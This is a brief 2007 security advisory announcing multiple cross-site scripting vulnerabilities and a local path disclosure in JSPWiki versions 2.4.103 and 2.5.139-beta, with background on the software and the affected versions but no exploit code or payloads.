Application: JSPWiki Multiple Vulnerabilities Version: 2.4.103 and 2.5.139 Credit: Jason Kratzer Date: 9/24/2007 Background ------------------------------------------------------------ JSPWiki is wiki software built around the standard J2EE components of Java, servlets and JSP. It was written by Janne Jalkanen and released under the LGPL. The Sun Java System Portal Server includes it as one of its core applications. It is primarily used for company intranets and has an active developer community, also including the i3G Institute of the Heilbronn University. (Courtesy of Wikipedia: http://en.wikipedia.org/wiki/JSPWiki) Description ------------------------------------------------------------ Multiple Cross Site Scripting vulnerabilities have been discovered within the JSPWiki application, successfully allowing an attacker to steal credentials, falsify posts, and persistently deface portions of the site. Additionally, a Local Path Disclosure vulnerability was also discovered. Affected Versions ------------------------------------------------------------ Each vulnerability was confirmed in versions 2.4.103 and 2.5.139-beta. The Cross Site Scripting vulnerability affecting the redirect parameter is only found in version 2.5.139-beta.
